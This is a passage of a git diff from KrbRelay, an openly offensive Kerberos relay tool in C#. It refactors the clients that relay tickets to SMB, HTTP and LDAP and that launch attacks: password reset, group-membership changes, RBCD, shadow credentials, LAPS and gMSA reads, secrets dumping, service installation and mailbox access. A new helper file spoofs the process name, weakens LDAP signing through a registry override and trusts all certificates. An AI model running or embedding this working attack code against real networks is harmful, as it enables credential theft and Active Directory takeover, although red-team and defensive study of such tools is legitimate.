queryDirectoryFileInformation; - status = fileStore.QueryDirectory(out queryDirectoryFileInformation, directoryHandle, "*", FileInformationClass.FileDirectoryInformation); + status = fileStore.QueryDirectory( + out queryDirectoryFileInformation, + directoryHandle, + "*", + FileInformationClass.FileDirectoryInformation + ); status = fileStore.CloseFile(directoryHandle); Console.WriteLine("Mode LastAccessTime Length Name"); Console.WriteLine("---- ------------- ------ ----"); @@ -26,14 +41,22 @@ public static void listDir(ISMBFileStore fileStore, string path = "") { if (file.FileInformationClass == FileInformationClass.FileDirectoryInformation) { - FileDirectoryInformation fileDirectoryInformation = (FileDirectoryInformation)file; + FileDirectoryInformation fileDirectoryInformation = + (FileDirectoryInformation)file; - if (fileDirectoryInformation.FileName == "." || fileDirectoryInformation.FileName == "..") + if ( + fileDirectoryInformation.FileName == "." + || fileDirectoryInformation.FileName == ".." + ) { continue; } string mode = ""; - if (fileDirectoryInformation.FileAttributes.HasFlag(SMBLibrary.FileAttributes.Directory)) + if ( + fileDirectoryInformation.FileAttributes.HasFlag( + SMBLibrary.FileAttributes.Directory + ) + ) { mode = "d-----"; } @@ -41,17 +64,40 @@ public static void listDir(ISMBFileStore fileStore, string path = "") { mode = "-a----"; } - Console.WriteLine(String.Format("{0} {1,22} {2, -5} {3}", mode, fileDirectoryInformation.LastAccessTime, (fileDirectoryInformation.AllocationSize / 1024), fileDirectoryInformation.FileName)); + Console.WriteLine( + String.Format( + "{0} {1,22} {2, -5} {3}", + mode, + fileDirectoryInformation.LastAccessTime, + (fileDirectoryInformation.AllocationSize / 1024), + fileDirectoryInformation.FileName + ) + ); } } } } - public static bool readFile(SMB2Client smbClient, ISMBFileStore fileStore, string path, out byte[] content) + public static bool readFile( + SMB2Client smbClient, + ISMBFileStore fileStore, + string path, + out byte[] content + ) { object fileHandle; FileStatus fileStatus; - var status = fileStore.CreateFile(out fileHandle, out fileStatus, path, AccessMask.GENERIC_READ | AccessMask.SYNCHRONIZE, SMBLibrary.FileAttributes.Normal, ShareAccess.Read, CreateDisposition.FILE_OPEN, CreateOptions.FILE_NON_DIRECTORY_FILE | CreateOptions.FILE_SYNCHRONOUS_IO_ALERT, null); + var status = fileStore.CreateFile( + out fileHandle, + out fileStatus, + path, + AccessMask.GENERIC_READ | AccessMask.SYNCHRONIZE, + SMBLibrary.FileAttributes.Normal, + ShareAccess.Read, + CreateDisposition.FILE_OPEN, + CreateOptions.FILE_NON_DIRECTORY_FILE | CreateOptions.FILE_SYNCHRONOUS_IO_ALERT, + null + ); if (status == NTStatus.STATUS_SUCCESS) { using (System.IO.MemoryStream stream = new System.IO.MemoryStream()) @@ -60,8 +106,16 @@ public static bool readFile(SMB2Client smbClient, ISMBFileStore fileStore, strin long bytesRead = 0; while (true) { - status = fileStore.ReadFile(out data, fileHandle, bytesRead, (int)smbClient.MaxReadSize); - if (status != NTStatus.STATUS_SUCCESS && status != NTStatus.STATUS_END_OF_FILE) + status = fileStore.ReadFile( + out data, + fileHandle, + bytesRead, + (int)smbClient.MaxReadSize + ); + if ( + status != NTStatus.STATUS_SUCCESS + && status != NTStatus.STATUS_END_OF_FILE + ) { throw new Exception("Failed to read from file"); } @@ -85,11 +139,22 @@ public static bool deleteFile(ISMBFileStore fileStore, string path) { object fileHandle; FileStatus fileStatus; - var status = fileStore.CreateFile(out fileHandle, out fileStatus, path, AccessMask.GENERIC_WRITE | AccessMask.DELETE | AccessMask.SYNCHRONIZE, SMBLibrary.FileAttributes.Normal, ShareAccess.None, CreateDisposition.FILE_OPEN, CreateOptions.FILE_NON_DIRECTORY_FILE | CreateOptions.FILE_SYNCHRONOUS_IO_ALERT, null); + var status = fileStore.CreateFile( + out fileHandle, + out fileStatus, + path, + AccessMask.GENERIC_WRITE | AccessMask.DELETE | AccessMask.SYNCHRONIZE, + SMBLibrary.FileAttributes.Normal, + ShareAccess.None, + CreateDisposition.FILE_OPEN, + CreateOptions.FILE_NON_DIRECTORY_FILE | CreateOptions.FILE_SYNCHRONOUS_IO_ALERT, + null + ); if (status == NTStatus.STATUS_SUCCESS) { - FileDispositionInformation fileDispositionInformation = new FileDispositionInformation(); + FileDispositionInformation fileDispositionInformation = + new FileDispositionInformation(); fileDispositionInformation.DeletePending = true; status = fileStore.SetFileInformation(fileHandle, fileDispositionInformation); bool deleteSucceeded = (status == NTStatus.STATUS_SUCCESS); @@ -99,11 +164,26 @@ public static bool deleteFile(ISMBFileStore fileStore, string path) return false; } - public static bool writeFile(SMB2Client smbClient, ISMBFileStore fileStore, string path, byte[] content) + public static bool writeFile( + SMB2Client smbClient, + ISMBFileStore fileStore, + string path, + byte[] content + ) { object fileHandle; FileStatus fileStatus; - var status = fileStore.CreateFile(out fileHandle, out fileStatus, path, AccessMask.GENERIC_WRITE | AccessMask.SYNCHRONIZE, SMBLibrary.FileAttributes.Normal, ShareAccess.None, CreateDisposition.FILE_CREATE, CreateOptions.FILE_NON_DIRECTORY_FILE | CreateOptions.FILE_SYNCHRONOUS_IO_ALERT, null); + var status = fileStore.CreateFile( + out fileHandle, + out fileStatus, + path, + AccessMask.GENERIC_WRITE | AccessMask.SYNCHRONIZE, + SMBLibrary.FileAttributes.Normal, + ShareAccess.None, + CreateDisposition.FILE_CREATE, + CreateOptions.FILE_NON_DIRECTORY_FILE | CreateOptions.FILE_SYNCHRONOUS_IO_ALERT, + null + ); if (status == NTStatus.STATUS_SUCCESS) { int writeOffset = 0; @@ -118,7 +198,12 @@ public static bool writeFile(SMB2Client smbClient, ISMBFileStore fileStore, stri Array.Resize(ref buffer, bytesRead); } int numberOfBytesWritten; - status = fileStore.WriteFile(out numberOfBytesWritten, fileHandle, writeOffset, buffer); + status = fileStore.WriteFile( + out numberOfBytesWritten, + fileHandle, + writeOffset, + buffer + ); if (status != NTStatus.STATUS_SUCCESS) { throw new Exception("Failed to write to file"); @@ -132,7 +217,13 @@ public static bool writeFile(SMB2Client smbClient, ISMBFileStore fileStore, stri return false; } - public static bool copyFile(SMB2Client smbClient, string path, bool delete, out byte[] content, string share = "c$") + public static bool copyFile( + SMB2Client smbClient, + string path, + bool delete, + out byte[] content, + string share = "c$" + ) { ISMBFileStore fileStore = smbClient.TreeConnect(share, out var status); if (!readFile(smbClient, fileStore, path, out content)) @@ -213,15 +304,16 @@ public static void smbConsole(SMB2Client smbClient, string share = "ipc$") default: Console.WriteLine( - "Commands:\n" + - "ls \n" + - "cat \n" + - "get - Download file\n" + - "put - Upload file\n" + - "rm - Delete file\n" + - "shares - List smb shares\n" + - "use - Switch smb share\n" + - "exit\n"); + "Commands:\n" + + "ls \n" + + "cat \n" + + "get - Download file\n" + + "put - Upload file\n" + + "rm - Delete file\n" + + "shares - List smb shares\n" + + "use - Switch smb share\n" + + "exit\n" + ); break; } if (exit) @@ -261,4 +353,4 @@ public static void listShares(SMB2Client smbClient) } } } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Http.cs b/KrbRelay/Clients/Http.cs index 49f9dd4..74ef2e4 100644 --- a/KrbRelay/Clients/Http.cs +++ b/KrbRelay/Clients/Http.cs @@ -13,19 +13,22 @@ public class Http public static void Connect() { string endpoint = ""; - if (!string.IsNullOrEmpty(attacks["endpoint"])) + if (!string.IsNullOrEmpty(State.attacks["endpoint"])) { - endpoint = attacks["endpoint"].TrimStart('/'); + endpoint = State.attacks["endpoint"].TrimStart('/'); } HttpResponseMessage result; - var cookie = string.Format("Negotiate {0}", Convert.ToBase64String(ticket)); + var cookie = string.Format("Negotiate {0}", Convert.ToBase64String(State.ticket)); using (var message = new HttpRequestMessage(HttpMethod.Get, endpoint)) { message.Headers.Add("Authorization", cookie); message.Headers.Add("Connection", "keep-alive"); - message.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko"); + message.Headers.Add( + "User-Agent", + "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko" + ); result = httpClient.SendAsync(message).Result; } @@ -40,38 +43,54 @@ public static void Connect() if (h.Key == "Set-Cookie") { cookies = h.Value; - Console.WriteLine("[*] Authentication Cookie;\n" + string.Join(";", h.Value)); + Console.WriteLine( + "[*] Authentication Cookie;\n" + string.Join(";", h.Value) + ); } } try { - if (attacks.Keys.Contains("proxy")) + if (State.attacks.Keys.Contains("proxy")) { - Attacks.Http.ProxyServer.Start(httpClient, httpClient.BaseAddress.ToString()); + Attacks.Http.ProxyServer.Start( + httpClient, + httpClient.BaseAddress.ToString() + ); } - if (attacks.Keys.Contains("adcs")) + if (State.attacks.Keys.Contains("adcs")) { - Attacks.Http.ADCS.requestCertificate(httpClient, relayedUser, relayedUserDomain, attacks["adcs"]); + Attacks.Http.ADCS.requestCertificate( + httpClient, + State.relayedUser, + State.relayedUserDomain, + State.attacks["adcs"] + ); } - if (attacks.Keys.Contains("ews-delegate")) + if (State.attacks.Keys.Contains("ews-delegate")) { - Attacks.Http.EWS.delegateMailbox(httpClient, relayedUser, attacks["ews-delegate"]); + Attacks.Http.EWS.delegateMailbox( + httpClient, + State.relayedUser, + State.attacks["ews-delegate"] + ); } - if (attacks.Keys.Contains("ews-search")) + if (State.attacks.Keys.Contains("ews-search")) { - Attacks.Http.EWS.readMailbox(httpClient, "inbox", attacks["ews-search"]); + Attacks.Http.EWS.readMailbox( + httpClient, + "inbox", + State.attacks["ews-search"] + ); } } catch (Exception e) { Console.WriteLine("[-] {0}", e); } - - Environment.Exit(0); } else { @@ -80,8 +99,9 @@ public static void Connect() //Console.WriteLine(header.Key); if (header.Key == "WWW-Authenticate") { - apRep1 = Convert.FromBase64String(header.Value.First().Replace("Negotiate ", "")); - Console.WriteLine("[*] apRep1: {0}", Helpers.ByteArrayToString(apRep1)); + State.UpdateApRep1(Convert.FromBase64String( + header.Value.First().Replace("Negotiate ", "") + )); } } } @@ -90,18 +110,26 @@ public static void Connect() internal class TrustAll : ICertificatePolicy { - public TrustAll() - { - } + public TrustAll() { } - public bool CheckValidationResult(ServicePoint srvPoint, X509Certificate certificate, WebRequest request, int certificateProblem) + public bool CheckValidationResult( + ServicePoint srvPoint, + X509Certificate certificate, + WebRequest request, + int certificateProblem + ) { return true; } - public bool CheckValidationResult(ServicePoint srvPoint, System.Security.Cryptography.X509Certificates.X509Certificate certificate, WebRequest request, int certificateProblem) + public bool CheckValidationResult( + ServicePoint srvPoint, + System.Security.Cryptography.X509Certificates.X509Certificate certificate, + WebRequest request, + int certificateProblem + ) { return true; } } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Ldap.cs b/KrbRelay/Clients/Ldap.cs index e07ed90..c80803b 100644 --- a/KrbRelay/Clients/Ldap.cs +++ b/KrbRelay/Clients/Ldap.cs @@ -1,8 +1,6 @@ using System; using System.Linq; using System.Runtime.InteropServices; -using static KrbRelay.Natives; -using static KrbRelay.Program; namespace KrbRelay.Clients { @@ -10,70 +8,72 @@ public class Ldap { public static void Connect() { - //create berval struct with the kerberos ticket - var sTicket = new SecBuffer(ticket); - var berval = new berval - { - bv_len = sTicket.cbBuffer, - bv_val = sTicket.pvBuffer - }; + // create berval struct with the kerberos ticket + + var buffer = new SecurityBuffer(State.ticket); + var berval = new berval { bv_len = buffer.Count, bv_val = buffer.Token }; + var bervalPtr = Marshal.AllocHGlobal(Marshal.SizeOf(berval)); Marshal.StructureToPtr(berval, bervalPtr, false); - var bind = ldap_sasl_bind( - ld, + + var bind = Interop.ldap_sasl_bind( + State.ld, "", "GSS-SPNEGO", // GSS-SPNEGO / GSSAPI bervalPtr, IntPtr.Zero, IntPtr.Zero, - out IntPtr servresp); - Console.WriteLine("[*] bind: {0}", bind); - ldap_get_option(ld, 0x0031, out int value); + out IntPtr servresp + ); + + Console.WriteLine("[*] ldap_sasl_bind: {0}", (LdapStatus)bind); + + Interop.ldap_get_option(State.ld, 0x0031, out int value); Console.WriteLine("[*] ldap_get_option: {0}", (LdapStatus)value); - if ((LdapStatus)value == LdapStatus.LDAP_SUCCESS) + if ((LdapStatus)value == LdapStatus.Success) { Console.WriteLine("[+] LDAP session established"); try { - if (attacks.Keys.Contains("console")) + if (State.attacks.Keys.Contains("console")) { - ldapConsole(ld, attacks["console"]); + ldapConsole(State.ld, State.attacks["console"]); } - if (attacks.Keys.Contains("add-groupmember")) + if (State.attacks.Keys.Contains("add-groupmember")) { - string arg1 = attacks["add-groupmember"].Split(new[] { ' ' }, 2)[0]; - string arg2 = attacks["add-groupmember"].Split(new[] { ' ' }, 2)[1]; - Attacks.Ldap.addGroupMember.attack(ld, arg1, arg2); + string arg1 = State.attacks["add-groupmember"].Split(new[] { ' ' }, 2)[0]; + string arg2 = State.attacks["add-groupmember"].Split(new[] { ' ' }, 2)[1]; + Attacks.Ldap.AddGroupMember.attack(State.ld, arg1, arg2); } - if (attacks.Keys.Contains("reset-password")) + if (State.attacks.Keys.Contains("reset-password")) { - string arg1 = attacks["reset-password"].Split(new[] { ' ' }, 2)[0]; - string arg2 = attacks["reset-password"].Split(new[] { ' ' }, 2)[1]; - Attacks.Ldap.setPassword.attack(ld, arg1, arg2); + string arg1 = State.attacks["reset-password"].Split(new[] { ' ' }, 2)[0]; + string arg2 = State.attacks["reset-password"].Split(new[] { ' ' }, 2)[1]; + Attacks.Ldap.SetPassword.attack(State.ld, arg1, arg2); } - if (attacks.Keys.Contains("rbcd")) + if (State.attacks.Keys.Contains("rbcd")) { - string arg1 = attacks["rbcd"].Split(new[] { ' ' }, 2)[0]; - string arg2 = attacks["rbcd"].Split(new[] { ' ' }, 2)[1]; - Attacks.Ldap.RBCD.attack(ld, arg1, arg2); + string arg1 = State.attacks["rbcd"].Split(new[] { ' ' }, 2)[0]; + string arg2 = State.attacks["rbcd"].Split(new[] { ' ' }, 2)[1]; + Attacks.Ldap.RBCD.attack(State.ld, arg1, arg2); } - if (attacks.Keys.Contains("shadowcred")) + if (State.attacks.Keys.Contains("shadowcred")) { - string arg1 = relayedUser; - if (!string.IsNullOrEmpty(attacks["shadowcred"])) - arg1 = attacks["shadowcred"]; + string arg1 = State.relayedUser; + if (!string.IsNullOrEmpty(State.attacks["shadowcred"])) + arg1 = State.attacks["shadowcred"]; - Attacks.Ldap.ShadowCredential.attack(ld, arg1); + Attacks.Ldap.ShadowCredential.attack(State.ld, arg1); } - if (attacks.Keys.Contains("laps")) + if (State.attacks.Keys.Contains("laps")) { - Attacks.Ldap.LAPS.read(ld, attacks["laps"]); + Attacks.Ldap.LAPS.read(State.ld, State.attacks["laps"]); } - if (attacks.Keys.Contains("gmsa")) + if (State.attacks.Keys.Contains("gmsa")) { - Attacks.Ldap.gMSA.read(ld, attacks["gmsa"]); + Attacks.Ldap.gMSA.read(State.ld, State.attacks["gmsa"]); } } catch (Exception e) @@ -81,13 +81,14 @@ public static void Connect() Console.WriteLine("[-] {0}", e); } - ldap_unbind(ld); - Environment.Exit(0); + Interop.ldap_unbind(State.ld); + + return; } - if ((LdapStatus)value != LdapStatus.LDAP_SASL_BIND_IN_PROGRESS) + + if ((LdapStatus)value != LdapStatus.SaslBindInProgress) { Console.WriteLine("[-] Ldap failed"); - Environment.Exit(0); } else { @@ -95,8 +96,7 @@ public static void Connect() berval msgidp2 = (berval)Marshal.PtrToStructure(servresp, typeof(berval)); byte[] msgidbytes = new byte[msgidp2.bv_len]; Marshal.Copy(msgidp2.bv_val, msgidbytes, 0, msgidp2.bv_len); - apRep1 = msgidbytes; - Console.WriteLine("[*] apRep1: {0}", Helpers.ByteArrayToString(apRep1)); + State.UpdateApRep1(msgidbytes); } } @@ -130,11 +130,11 @@ public static void ldapConsole(IntPtr ld, string optional = "") break; case "reset-password": - Attacks.Ldap.setPassword.attack(ld, arg1, arg2); + Attacks.Ldap.SetPassword.attack(ld, arg1, arg2); break; case "add-groupmember": - Attacks.Ldap.addGroupMember.attack(ld, arg1, arg2); + Attacks.Ldap.AddGroupMember.attack(ld, arg1, arg2); break; case "add-acl": @@ -142,7 +142,7 @@ public static void ldapConsole(IntPtr ld, string optional = "") case "rm-acl": break; - + case "shadowcred": if (string.IsNullOrEmpty(arg1)) { @@ -201,4 +201,4 @@ public static void ldapConsole(IntPtr ld, string optional = "") } } } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Rpc.cs b/KrbRelay/Clients/Rpc.cs index d932381..3e3815a 100644 --- a/KrbRelay/Clients/Rpc.cs +++ b/KrbRelay/Clients/Rpc.cs @@ -4,4 +4,4 @@ internal class Rpc { //https://github.com/googleprojectzero/sandbox-attacksurface-analysis-tools/blob/main/NtApiDotNet/Win32/Rpc/Transport } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Smb.cs b/KrbRelay/Clients/Smb.cs index 4e4a479..50b802d 100644 --- a/KrbRelay/Clients/Smb.cs +++ b/KrbRelay/Clients/Smb.cs @@ -8,33 +8,37 @@ public class Smb { public static void Connect() { - apRep1 = smbClient.Login(ticket, out bool success); + State.UpdateApRep1(smbClient.Login(State.ticket, out bool success)); + if (success) { Console.WriteLine("[+] SMB session established"); try { - if (attacks.Keys.Contains("console")) + if (State.attacks.Keys.Contains("console")) { Attacks.Smb.Shares.smbConsole(smbClient); } - if (attacks.Keys.Contains("list")) + if (State.attacks.Keys.Contains("list")) { Attacks.Smb.Shares.listShares(smbClient); } - if (attacks.Keys.Contains("add-privileges")) + if (State.attacks.Keys.Contains("add-privileges")) { - Attacks.Smb.LSA.AddAccountRights(smbClient, attacks["add-privileges"]); + Attacks.Smb.LSA.AddAccountRights( + smbClient, + State.attacks["add-privileges"] + ); } - if (attacks.Keys.Contains("secrets")) + if (State.attacks.Keys.Contains("secrets")) { Attacks.Smb.RemoteRegistry.secretsDump(smbClient, false); } - if (attacks.Keys.Contains("service-add")) + if (State.attacks.Keys.Contains("service-add")) { - string arg1 = attacks["service-add"].Split(new[] { ' ' }, 2)[0]; - string arg2 = attacks["service-add"].Split(new[] { ' ' }, 2)[1]; + string arg1 = State.attacks["service-add"].Split(new[] { ' ' }, 2)[0]; + string arg2 = State.attacks["service-add"].Split(new[] { ' ' }, 2)[1]; Attacks.Smb.ServiceManager.serviceInstall(smbClient, arg1, arg2); } } @@ -45,12 +49,11 @@ public static void Connect() smbClient.Logoff(); smbClient.Disconnect(); - Environment.Exit(0); } else { - Console.WriteLine("[*] apRep1: {0}", Helpers.ByteArrayToString(apRep1)); + Console.WriteLine("[*] apRep1: {0}", Helpers.ByteArrayToHex(State.apRep1)); } } } -} \ No newline at end of file +} diff --git a/KrbRelay/IStorage/IEnumSTATSTG.cs b/KrbRelay/Com/IStorage/IEnumSTATSTG.cs similarity index 100% rename from KrbRelay/IStorage/IEnumSTATSTG.cs rename to KrbRelay/Com/IStorage/IEnumSTATSTG.cs diff --git a/KrbRelay/IStorage/ILockBytes.cs b/KrbRelay/Com/IStorage/ILockBytes.cs similarity index 100% rename from KrbRelay/IStorage/ILockBytes.cs rename to KrbRelay/Com/IStorage/ILockBytes.cs diff --git a/KrbRelay/IStorage/IMarshal.cs b/KrbRelay/Com/IStorage/IMarshal.cs similarity index 100% rename from KrbRelay/IStorage/IMarshal.cs rename to KrbRelay/Com/IStorage/IMarshal.cs diff --git a/KrbRelay/IStorage/IStorage.cs b/KrbRelay/Com/IStorage/IStorage.cs similarity index 100% rename from KrbRelay/IStorage/IStorage.cs rename to KrbRelay/Com/IStorage/IStorage.cs diff --git a/KrbRelay/IStorage/IStream.cs b/KrbRelay/Com/IStorage/IStream.cs similarity index 100% rename from KrbRelay/IStorage/IStream.cs rename to KrbRelay/Com/IStorage/IStream.cs diff --git a/KrbRelay/IStorage/Ole32.cs b/KrbRelay/Com/IStorage/Ole32.cs similarity index 100% rename from KrbRelay/IStorage/Ole32.cs rename to KrbRelay/Com/IStorage/Ole32.cs diff --git a/KrbRelay/IStorage/StandardActivator.cs b/KrbRelay/Com/IStorage/StandardActivator.cs similarity index 100% rename from KrbRelay/IStorage/StandardActivator.cs rename to KrbRelay/Com/IStorage/StandardActivator.cs diff --git a/KrbRelay/IStorage/StorageTrigger.cs b/KrbRelay/Com/IStorage/StorageTrigger.cs similarity index 100% rename from KrbRelay/IStorage/StorageTrigger.cs rename to KrbRelay/Com/IStorage/StorageTrigger.cs diff --git a/KrbRelay/Common/Helpers.cs b/KrbRelay/Common/Helpers.cs new file mode 100644 index 0000000..a8c8e22 --- /dev/null +++ b/KrbRelay/Common/Helpers.cs @@ -0,0 +1,558 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.IO; +using System.Linq; +using System.Net; +using System.Net.NetworkInformation; +using System.Reflection; +using System.Runtime.InteropServices; +using System.Text; +using Microsoft.Win32; +using NetFwTypeLib; + +// Generic helper functions to transform data, hash keys, create interop objects, etc. + +namespace KrbRelay +{ + class Helpers + { + //https://github.com/rvazarkar/GMSAPasswordReader + public static string KerberosPasswordHash( + KERB_ETYPE etype, + string password, + string salt = "", + int count = 4096 + ) + { + // use the internal KERB_ECRYPT HashPassword() function to calculate a password hash of a given etype + // adapted from @gentilkiwi's Mimikatz "kerberos::hash" implementation + + KERB_ECRYPT pCSystem; + IntPtr pCSystemPtr; + + // locate the crypto system for the hash type we want + int status = Interop.CDLocateCSystem(etype, out pCSystemPtr); + + pCSystem = (KERB_ECRYPT)System.Runtime.InteropServices.Marshal.PtrToStructure( + pCSystemPtr, + typeof(KERB_ECRYPT) + ); + if (status != 0) + throw new System.ComponentModel.Win32Exception(status, "Error on CDLocateCSystem"); + + // get the delegate for the password hash function + KERB_ECRYPT_HashPassword pCSystemHashPassword = + (KERB_ECRYPT_HashPassword)System.Runtime.InteropServices.Marshal.GetDelegateForFunctionPointer( + pCSystem.HashPassword, + typeof(KERB_ECRYPT_HashPassword) + ); + UNICODE_STRING passwordUnicode = new UNICODE_STRING(password); + UNICODE_STRING saltUnicode = new UNICODE_STRING(salt); + + byte[] output = new byte[pCSystem.KeySize]; + + status = pCSystemHashPassword(passwordUnicode, saltUnicode, count, output); + + if (status != 0) + throw new Win32Exception(status); + + return System.BitConverter.ToString(output).Replace("-", ""); + } + + // https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-rtl_user_process_parameters + public static string SetProcessModuleName(string newName) + { + uint retLength = 0; + PROCESS_BASIC_INFORMATION pbi = new PROCESS_BASIC_INFORMATION(); + Interop.NtQueryInformationProcess( + (IntPtr)(-1), + 0, + ref pbi, + Marshal.SizeOf(pbi), + ref retLength + ); + + // PEB->ProcessParameters + IntPtr processParameters = Marshal.ReadIntPtr(pbi.PebBaseAddress + 0x20); + + // RtlUserProcessParameters->ImagePathName + IntPtr imagePathName = processParameters + 0x060; + + UNICODE_STRING name = (UNICODE_STRING)Marshal.PtrToStructure( + imagePathName, + typeof(UNICODE_STRING) + ); + var previous = name.ToString(); + + name.Length = (ushort)(newName.Length * 2); + name.MaximumLength = (ushort)(name.Length + 2); + + byte[] buffer = Encoding.Unicode.GetBytes(newName + "\x00"); + + IntPtr bytesWritten = IntPtr.Zero; + Interop.WriteProcessMemory( + (IntPtr)(-1), + name.buffer, + buffer, + buffer.Length, + out bytesWritten + ); + + Marshal.StructureToPtr(name, imagePathName, false); + + StringBuilder fileName = new StringBuilder(1024); + Interop.GetModuleFileName(IntPtr.Zero, fileName, fileName.Capacity); + + if (fileName.ToString() == newName) + { + Console.WriteLine("[+] SetProcessModuleName({0}): Success", newName); + } else{ + Console.WriteLine("[!] SetProcessModuleName({0}) FAILED, got {1}", newName, fileName); + } + + return previous; + } + + static readonly IntPtr HKEY_LOCAL_MACHINE = new IntPtr(-2147483646); + + public static void OverrideLocalMachine(RegistryKey key) + { + int res = Interop.RegOverridePredefKey(HKEY_LOCAL_MACHINE, + key?.Handle.DangerousGetHandle() ?? IntPtr.Zero); + if (res != 0) + throw new Win32Exception(res); + } + + public static void LoadLDAPLibrary() + { + string dummy = @"SOFTWARE\DUMMY"; + string target = @"System\CurrentControlSet\Services\LDAP"; + using (var key = Registry.CurrentUser.CreateSubKey(dummy, true)) + { + using (var okey = key.CreateSubKey(target, true)) + { + okey.SetValue("LdapClientIntegrity", 0, + RegistryValueKind.DWord); + OverrideLocalMachine(key); + try + { + IntPtr lib = Interop.LoadLibrary("wldap32.dll"); + if (lib == IntPtr.Zero) + throw new Win32Exception(); + } + finally + { + OverrideLocalMachine(null); + Registry.CurrentUser.DeleteSubKeyTree(dummy); + } + } + } + } + public static uint TrustAllCertificates(IntPtr ld) + { + return Interop.ldap_set_option(ld, 0x81, //LDAP_OPT_SERVER_CERTIFICATE + Marshal.GetFunctionPointerForDelegate((connection, serverCert) => true) + ); + } + + public static bool GetWtsSessionData(int SessionId) + { + if (SessionId != -123) + { + uint bytesReturned; + bool worked; + IntPtr buffer = IntPtr.Zero; + + try + { + worked = Interop.WTSQuerySessionInformation( + IntPtr.Zero, + SessionId, + WtsInfoClass.ConnectState, + out buffer, + out bytesReturned + ); + var state = (WtsConnectStateClass)Enum.ToObject( + typeof(WtsConnectStateClass), + Marshal.ReadInt32(buffer) + ); + if (state != WtsConnectStateClass.Active) + Console.WriteLine("[-] WARNING, user's session is not active"); + } + catch + { + Console.WriteLine("[-] Session {0} does not exists", SessionId); + return false; + } + + worked = Interop.WTSQuerySessionInformation( + IntPtr.Zero, + SessionId, + WtsInfoClass.DomainName, + out buffer, + out bytesReturned + ); + State.relayedUserDomain = Marshal.PtrToStringAnsi(buffer); + + worked = Interop.WTSQuerySessionInformation( + IntPtr.Zero, + SessionId, + WtsInfoClass.UserName, + out buffer, + out bytesReturned + ); + State.relayedUser = Marshal.PtrToStringAnsi(buffer); + } + else + { + State.relayedUser = Environment.MachineName + "$"; + State.relayedUserDomain = State.domainDN.Replace(",", ".").Replace("DC=", ""); + } + Console.WriteLine( + "[*] Relaying context: {0}\\{1}", + State.relayedUserDomain, + State.relayedUser + ); + + return true; + } + + public static bool CheckFirewallPort(int port, string name = "SYSTEM") + { + INetFwMgr mgr = (INetFwMgr)Activator.CreateInstance( + Type.GetTypeFromProgID("HNetCfg.FwMgr") + ); + if (!mgr.LocalPolicy.CurrentProfile.FirewallEnabled) + { + return true; + } + mgr.IsPortAllowed( + name, + NET_FW_IP_VERSION_.NET_FW_IP_VERSION_ANY, + port, + "", + NET_FW_IP_PROTOCOL_.NET_FW_IP_PROTOCOL_TCP, + out object allowed, + out object restricted + ); + return (bool)allowed; + } + + public static int CheckAllFirewallPorts(string[] names) + { + IPGlobalProperties ipGlobalProperties = IPGlobalProperties.GetIPGlobalProperties(); + IPEndPoint[] tcpConnInfoArray = ipGlobalProperties.GetActiveTcpListeners(); + List tcpPorts = tcpConnInfoArray.Select(i => i.Port).ToList(); + + foreach (string name in names) + { + for (int i = 1; i < 65535; i++) + { + if (CheckFirewallPort(i, name) && !tcpPorts.Contains(i)) + { + return i; + } + } + } + return -1; + } + + public static string ByteArrayToHex(byte[] ba) + { + StringBuilder hex = new StringBuilder(ba.Length * 2); + foreach (byte b in ba) + hex.AppendFormat("{0:x2}", b); + return hex.ToString(); + } + + public static byte[] HexToByteArray(string s) + { + return Enumerable + .Range(0, s.Length) + .Where(x => x % 2 == 0) + .Select(x => Convert.ToByte(s.Substring(x, 2), 16)) + .ToArray(); + } + + public static void PrintProperties(object myObj, string header = "", int offset = 0) + { + string trail = String.Concat(Enumerable.Repeat(" ", offset)); + + if (!string.IsNullOrEmpty(header)) + Console.WriteLine(header); + + foreach (var prop in myObj.GetType().GetProperties()) + { + try + { + if (!string.IsNullOrEmpty((string)(prop.GetValue(myObj, null)))) + Console.WriteLine(trail + prop.Name + ": " + prop.GetValue(myObj, null)); + } + catch (Exception e) + { + Console.WriteLine(trail + prop.Name + ": " + prop.GetValue(myObj, null)); + } + } + + foreach (var field in myObj.GetType().GetFields()) + { + try + { + if (!string.IsNullOrEmpty((string)field.GetValue(myObj))) + Console.WriteLine(trail + field.Name + ": " + field.GetValue(myObj)); + } + catch (Exception e) + { + Console.WriteLine(trail + field.Name + ": " + field.GetValue(myObj)); + } + } + } + + public static T ReadStruct(byte[] array) where T : struct + { + var handle = GCHandle.Alloc(array, GCHandleType.Pinned); + var mystruct = (T)Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(T)); + handle.Free(); + + return mystruct; + } + + public static int FieldOffset(string fieldName) + { + return Marshal.OffsetOf(typeof(T), fieldName).ToInt32(); + } + + public static int StructFieldOffset(Type s, string field) + { + var ex = typeof(Program); + var mi = ex.GetMethod("FieldOffset"); + var miConstructed = mi.MakeGenericMethod(s); + object[] args = { field }; + return (int)miConstructed.Invoke(null, args); + } + + public static byte[] EncodeLength(int length) + { + if (length < 0x80) + + return new byte[] { (byte)length }; + + if (length < 0x100) + + return new byte[] { 0x81, (byte)length }; + + if (length < 0x10000) + + return new byte[] { 0x82, (byte)(length >> 8), (byte)(length & 0xFF) }; + + throw new ArgumentException("Invalid length", nameof(length)); + } + + public static byte[] ConvertApReq(byte[] token) + { + if (token.Length == 0 || token[0] != 0x6E) // return if packet is not kerberos + return token; + + MemoryStream stm = new MemoryStream(); + + BinaryWriter writer = new BinaryWriter(stm); + + // write KRB5_OID + KRB5_tok_ID + byte[] header = new byte[] + { + 0x06, + 0x09, + 0x2a, + 0x86, + 0x48, + 0x86, + 0xf7, + 0x12, + 0x01, + 0x02, + 0x02, + 0x01, + 0x00 + }; + + writer.Write((byte)0x60); + + writer.Write(EncodeLength(header.Length + token.Length)); + + writer.Write(header); + + writer.Write(token); + + return stm.ToArray(); + } + + public static List SearchBytePattern(byte[] pattern, byte[] bytes) + { + List positions = new List(); + int patternLength = pattern.Length; + int totalLength = bytes.Length; + byte firstMatchByte = pattern[0]; + for (int i = 0; i < totalLength; i++) + { + if (firstMatchByte == bytes[i] && totalLength - i >= patternLength) + { + byte[] match = new byte[patternLength]; 